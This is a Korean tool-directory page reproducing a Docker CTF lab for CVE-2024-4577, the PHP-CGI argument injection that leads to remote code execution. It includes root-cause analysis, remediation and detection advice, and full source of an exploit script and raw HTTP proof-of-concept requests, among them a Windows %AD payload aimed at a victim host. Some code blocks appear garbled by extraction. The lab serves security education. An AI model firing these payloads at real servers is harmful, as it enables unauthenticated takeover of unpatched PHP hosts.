Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# Docker 기반 CTF 랩: CVE-2024-4577 PHP-CGI 인자 주입을 통한 RCE 실증 RCE로 이어지는 CVE-2024-4577 PHP-CGI 인자 주입을 시연하는 Docker 기반 CTF 랩입니다. 취약한 PHP 5.4.1 CGI, 익스플로잇 스크립트, 플래그 획득 기능을 포함합니다.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4577 — PHP-CGI 인자 주입 → RCE (Docker Lab / CTF)

처음부터 구축된 자체 포함형 Docker 랩으로, CVE-2024-4577 뒤에 있는 실제 인자 주입 → 원격 코드 실행 프리미티브를 시연합니다. http://localhost:8080에서 익스플로잇하여 셸을 획득하고, 컨테이너 내부에서 플래그를 읽으세요.

이것은 시뮬레이션이 아닌 실제 취약점입니다. 이 컨테이너는 패치되지 않은 PHP 5.4.1 CGI 바이너리를 컴파일하고, 실제 취약한 호스트가 구성되는 방식 그대로 Apache 뒤에 연결합니다. 어디에도 가짜 "if password == flag" 검사는 없습니다 — 플래그를 얻는 유일한 방법은 실제로 코드 실행을 달성하는 것입니다.


⚠️ 먼저 읽어보세요 — Linux vs. Windows (중요하고 솔직한 설명)

CVE-2024-4577의 시그니처 페이로드는 %AD (소프트 하이픈)를 사용합니다. 이 트릭은 Windows에서만 작동합니다. Windows의 "Best-Fit" 문자 인코딩이 PHP의 CVE-2012-1823 패치가 이미 쿼리 문자열을 검사한 이후에 바이트 0xAD를 실제 - (0x2D)로 변환하기 때문입니다. 이 인코딩 변환은 Windows 자체에서 수행되며 — 일반적인 Linux Docker 컨테이너 내부에서는 발생하지 않습니다.

따라서 충실한 Linux 랩은 — URL을 통한 php-cgi 옵션 주입 → → 코드 실행 — 을 형식(이것은 CVE-2024-4577의 상위 버그인 임)으로 재현합니다. 실제 Windows CVE-2024-4577 대상과의 차이점은 → 인코딩 우회 이며, 이 README에서 전체적으로 문서화합니다 (참조: 및 ).

``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
사용자 머신에서 실행 가능한
동일한 RCE 프리미티브
-d auto_prepend_file=php://input
리터럴 -
CVE-2012-1823
유일한
%AD
-
레이어
작동 방식
poc.http
이 Linux 랩실제 CVE-2024-4577 (Windows)
취약한 구성 요소php-cgiphp-cgi
RCE 프리미티브-d auto_prepend_file=php://input동일
URL의 구분자리터럴 -%AD (best-fit → -)
2012 패치 우회?해당 없음 (PHP가 패치 이전 버전)예, Windows best-fit을 통해
Win 11 Home + Docker Desktop에서 실행✅❌ (Windows 컨테이너 필요)

비트 단위로 정확한 Windows %AD 재현이 특별히 필요하다면, Windows 컨테이너를 지원하는 Docker 호스트(Windows Server / Win Pro + Hyper-V)가 필요합니다 — Windows 11 Home에서는 실행되지 않습니다. Windows 페이로드는 참고용으로 poc.http에 포함되어 있습니다.


1. CVE 설명

CVE-2024-4577 — PHP CGI 인자 주입으로 인한 원격 코드 실행. DEVCORE (Orange Tsai / Angelboy) 가 발견했으며, 2024-06-06에 공개되었습니다.

PHP가 Windows에서 CGI 모드로 배포되거나(또는 php-cgi.exe 바이너리가 다른 방식으로 접근 가능한 상태로) 특정 시스템 로케일(중국어 번체/간체, 일본어 등)이 설정된 경우, 웹 서버는 HTTP 쿼리 문자열을 php-cgi에 명령줄 인자로 전달합니다. 공격자는 php-cgi 명령줄 옵션(-d ...)을 해당 쿼리 문자열에 몰래 주입할 수 있습니다. Windows의 best-fit 코드페이지 변환은 소프트 하이픈 바이트 0xAD (%AD)를 ASCII 하이픈 -로 변환하며, 이는 CVE-2012-1823 하드닝을 우회하여 공격자가 임의의 PHP INI 지시문을 설정할 수 있게 합니다 — 가장 유용한 것은 allow_url_include=1과 함께 auto_prepend_file=php://input을 설정하여 공격자가 제공한 요청 본문을 PHP로 실행하는 것입니다. 결과: 인증 없는 원격 코드 실행. 며칠 내에 실제 환경에서 무기화되었습니다 (예: TellYouThePass 랜섬웨어).

2. 근본 원인

  1. CGI는 쿼리 문자열을 argv로 전달합니다. RFC 3875에 따르면, CGI 요청의 쿼리 문자열에 인코딩되지 않은 =가 없으면, 서버는 이를 +로 분할하고, 각 단어를 URL 디코딩한 후 CGI 프로그램에 명령줄 인자로 전달합니다. 따라서 php-cgi는 공격자가 제어하는 argv를 수신합니다.

  2. php-cgi는 해당 argv를 옵션으로 구문 분석합니다. 역사적으로 php-cgi는 해당 argv에서 -d key=value, -T 등을 해석했습니다. -d allow_url_include=1 -d auto_prepend_file=php://input을 전달하면 PHP가 요청 본문을 코드로 실행하게 됩니다 → CVE-2012-1823.

  3. CVE-2012-1823 수정은 Windows에서 불완전합니다. 2012년 패치는 sapi/cgi/cgi_main.c에 가드를 추가했습니다: 대략 "(원시) 쿼리 문자열이 -로 시작하고 =가 없으면 옵션 구문 분석을 건너뜁니다 (skip_getopt)." 리터럴 -를 보내는 공격자는 이제 차단됩니다.

  4. Best-fit 인코딩이 가드를 무력화합니다 (2024년 버그). Windows에서 PHP는 best-fit 매핑이 활성화된 로케일 코드페이지를 사용하여 명령줄을 변환합니다. 공격자는 %AD (바이트 0xAD, 소프트 하이픈)를 보냅니다. 가드 검사 시점에 첫 번째 바이트는 0xAD이며 -가 아니므로 skip_getopt는 설정되지 않습니다. 나중에 PHP가 실제로 argv를 구성할 때, Windows best-fit은 0xAD → -로 매핑하므로 getopt는 이제 -d를 봅니다. 옵션 주입은 이를 중지해야 했던 검사 이후에 발생합니다. 이 검사-후-변환 순서가 전체 취약점입니다.

이 Linux 랩에서 1~2단계는 3단계의 패치 이전 버전의 php-cgi로 정확히 재현되므로, 리터럴 - 형식이 작동하며 동일한 RCE를 시연합니다. 4단계는 Windows 전용 레이어로, 문서화되었지만 실행되지는 않습니다 (Linux에는 best-fit 변환이 없음).

3. 영향을 받는 버전 (실제 CVE-2024-4577)

8.3.8, 8.2.20, 8.1.29에서 수정되었습니다. 따라서 취약한 버전:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — 수명 종료, 패치되지 않음, 또한 영향 받음

조건: Windows OS; PHP가 CGI로 실행 또는 php-cgi.exe가 노출됨 (기본 Windows용 XAMPP 구성은 취약함); best-fit 경로에 영향을 받는 로케일. (상위 버그 CVE-2012-1823 — 이 랩이 실행하는 프리미티브 — 는 이 구성에서 2012년 수정 이전의 php-cgi를 실행하는 모든 OS에 영향을 미칩니다.)

4. 프로젝트 구조```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. 사전 요구 사항

- **Docker Desktop** (Windows/macOS) 또는 Docker Engine (Linux).
  Windows 11 Home: **WSL 2** 백엔드(기본값)로 Docker Desktop을 설치합니다.
  → https://www.docker.com/products/docker-desktop/
- 공격(exploitation)을 위한 `curl` (`curl.exe`는 Windows 10/11에 내장되어 있으며,
  Git Bash / WSL / macOS / Linux에도 포함되어 있습니다).
- **빌드 중** 인터넷 접속 (PHP 5.4.1 소스를 다운로드합니다).

## 6. 빌드 지침

`cve-2024-4577-lab/` 폴더에서 터미널을 엽니다.

### 옵션 A — docker compose (권장)```bash
docker compose up --build -d

옵션 B — 일반 docker

docker build 명령어:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**docker run 명령어:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

빌드는 PHP를 소스에서 컴파일합니다(첫 실행 시 약 2~5분 소요). 만약 빌드가 실패한다면(오프라인, 툴체인 없음, museum.php.net 차단 등), 대체 기본 이미지를 사용하세요:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. 서비스 확인 방법```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
**ACME 내부 상태 포털** HTML이 표시되어야 하며, 가장 중요한 것은:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi(즉, php-cgi를 통해 제공됨)는 취약한 구성 요소가 요청 경로에 있음을 확인합니다. 또한 로그를 확인하세요:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. Exploitation steps

The injected query string (URL-encoded so Apache sees **no literal `=`** and
therefore treats it as CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi가 다음과 같이 파싱합니다:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
**요청 본문**은 PHP 소스(`php://input`을 통해 읽음)가 되며 `index.php` *이전에* 실행됩니다.

### 8a. 가장 쉬운 방법 — 스크립트 실행```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. 수동 — 한 줄 curl (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> **Windows PowerShell**에서는 `curl.exe`를 명시적으로 사용하세요(PowerShell의 `curl`은
> `Invoke-WebRequest`의 별칭이며 쿼리 문자열을 변형시킵니다):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. 수동 — 원시 HTTP(Burp Repeater)

[`poc.http`](#poc-http)를 참조하세요. 요청 #1을 Burp Repeater에 붙여넣고 전송하세요.

## 9. 예상 출력```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

uid=33(www-data) 줄은 웹 서버 사용자로 임의 OS 명령 실행이 가능함을 증명합니다. 이는 단순히 출력된 문자열이 아니라 실제 코드 실행입니다.

10. 플래그를 검색하는 방법

플래그는 컨테이너 내부의 **/flag.txt**에 있으며, 웹 루트(/var/www/html) 외부에 있으므로 HTTP로는 접근할 수 없습니다. 이를 읽을 수 있는 유일한 방법은 RCE를 통해 명령을 실행하는 것입니다.```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
플래그:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(실제 CTF에서는 경로를 알려주지 않습니다 — RCE를 통해 ls -la /를 실행해서 찾아야 합니다. bash exploit.sh http://localhost:8080 "ls -la /"를 시도해 보세요.)

11. 정리 명령어```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
## 🔬 익스플로잇이 작동하는 방식, 단계별 설명

1. **클라이언트 → Apache.** 다음과 같이 요청을 보냅니다.
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   본문(body)에 PHP 페이로드를 포함하여 전송합니다.

2. **Apache 라우팅.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` 설정이 요청을
   **php-cgi** 바이너리로 라우팅합니다 (mod_actions + mod_cgi).

3. **쿼리 문자열 → argv (CGI 규칙).** Apache의 `mod_cgi`는 쿼리
   문자열에 **인코딩되지 않은 `=`가 없는지** 확인합니다 (`=` 대신 `%3d`를 보냈으므로).
   RFC 3875에 따라 `+`로 분할하고 각 단어를 URL 디코딩한 뒤 php-cgi에 `argv`로 전달합니다:
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi가 주입된 옵션을 파싱합니다.** 이 php-cgi(5.4.1, 2012년 이전 수정 버전)에는
   **`skip_getopt` 가드가 없으므로** `-d` 옵션을 그대로 처리합니다:
   - `allow_url_include=1` — 스트림 래퍼에서 PHP를 include할 수 있게 허용합니다.
   - `auto_prepend_file=php://input` — 요청된 스크립트를 실행하기 전에
     **요청 본문**을 PHP로 include하고 실행합니다.

5. **본문이 코드로 실행됩니다.** `php://input`은 POST 본문,
   `<?php system('id; cat /flag.txt'); die(); ?>`입니다. Apache 사용자
   (`www-data`) 권한으로 실행되어 OS 명령을 수행하고 출력을 표시한 뒤,
   `index.php`가 실행되기 전에 `die()`로 종료합니다.

6. **플래그 탈취.** `system('cat /flag.txt')`가 `/flag.txt`(`www-data`가
   읽을 수 있음)를 읽어 HTTP 응답으로 반환합니다.

### 취약점이 존재하는 이유 (더 깊은 "왜")

- **CGI는 *인자*와 *사용자 입력*을 혼동합니다.** 1990년대 CGI 규칙인
  쿼리 문자열을 `argv`로 변환하는 방식은 `<ISINDEX>` 검색
  스크립트용으로 설계되었습니다. 이를 `php-cgi`와 같은 인터프리터에 적용하면
  `argv`가 강력한 구성 스위치이므로 범주 오류가 발생합니다: 사용자 제어 데이터가
  프로그램 구성이 되어버립니다.

- **`-d`는 원격 INI 주입입니다.** `php-cgi -d name=value`는 런타임에 *모든* INI
  지시문을 재정의하며, 강화된 `php.ini`조차 덮어씁니다. `auto_prepend_file`
  + `allow_url_include` + `php://input` 래퍼가 결합되어
  "요청 본문 실행", 즉 RCE가 됩니다.

- **CVE-2024-4577이 구체적으로 존재하는 이유**는 CVE-2012-1823 수정이
  Windows가 **best-fit 인코딩 변환**을 수행하기 **전에** 쿼리 문자열의
  선행 `-`를 검사하기 때문입니다. 공격자는 `%AD`(소프트 하이픈)를 보냅니다. 검사가
  실행될 때는 `-`가 아니므로 가드를 통과하지만, Windows는 이후 best-fit 매핑으로
  `0xAD → 0x2D (-)`를 변환하여 게이트 이후에 `-`를 다시 도입합니다. **검사 후 변환**
  순서 + 로케일 의존적 손실 인코딩 = 패치 우회입니다.

---

## 🛡️ 이 챌린지가 "플래그 추측" / AI 지름길을 막는 이유

- 플래그는 **웹 루트에 없고** **`index.php`에서 참조되지 않으므로**
  크롤링, 퍼징, 앱 소스 읽기만으로는 절대 찾을 수 없습니다.
- **로직 백도어가 없으므로**(`if (input === flag)` 같은 것) 비교를 역추적할 수
  없습니다 — 플래그는 **실제 OS 명령 실행 후** 프로세스의 stdout에만 나타납니다.
- 플래그를 얻으려면 **실제 인자 주입 익스플로잇을 수행해야 합니다**:
  `=`를 `%3d`로 올바르게 인코딩하고, `-`를 옵션 구분자로 유지하며,
  `php://input`을 통해 페이로드를 전달해야 합니다. 한 단계라도 틀리면
  플래그 대신 무해한 ACME 페이지를 받게 됩니다.
- 토큰은 **고엔트로피 랜덤 문자열**로, 추측 가능한 단어가 아닙니다.

---

## 실제 환경에서의 해결 방법

- PHP를 **≥ 8.3.8 / 8.2.20 / 8.1.29**로 업데이트하세요.
- **PHP를 CGI로 실행하지 마세요.** PHP-FPM / mod_php를 사용하세요.
- Windows/XAMPP에서 `php-cgi.exe`를 노출하는 `ScriptAlias`/핸들러 매핑을 제거하고,
  쿼리 문자열이 인코딩된 소프트 하이픈으로 시작하는 요청을 차단하며,
  WAF에서 쿼리 문자열의 `%AD`를 거부하세요.
- 탐지: `%AD`, `auto_prepend_file`, `allow_url_include`, 또는 `php://input`이
  포함된 쿼리 문자열이 있는 웹 로그를 확인하세요.

---

# 부록 — 모든 파일 전체

아래는 각 파일의 전체 소스이므로, 이 단일 문서만으로
완전히 자급자족합니다.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

참고 자료

  • DEVCORE 권고 — "CVE-2024-4577 · PHP CGI Argument Injection" (2024-06).
  • PHP 보안 수정 커밋 (8.1.29 / 8.2.20 / 8.3.8, sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — 이 랩에서 재현하는 상위 인자 주입 버그.
  • RFC 3875 — The Common Gateway Interface (CGI) Version 1.1, §4.4 (명령줄).

공인된 보안 교육 / CTF 용도로만 사용하십시오.

도구 다운로드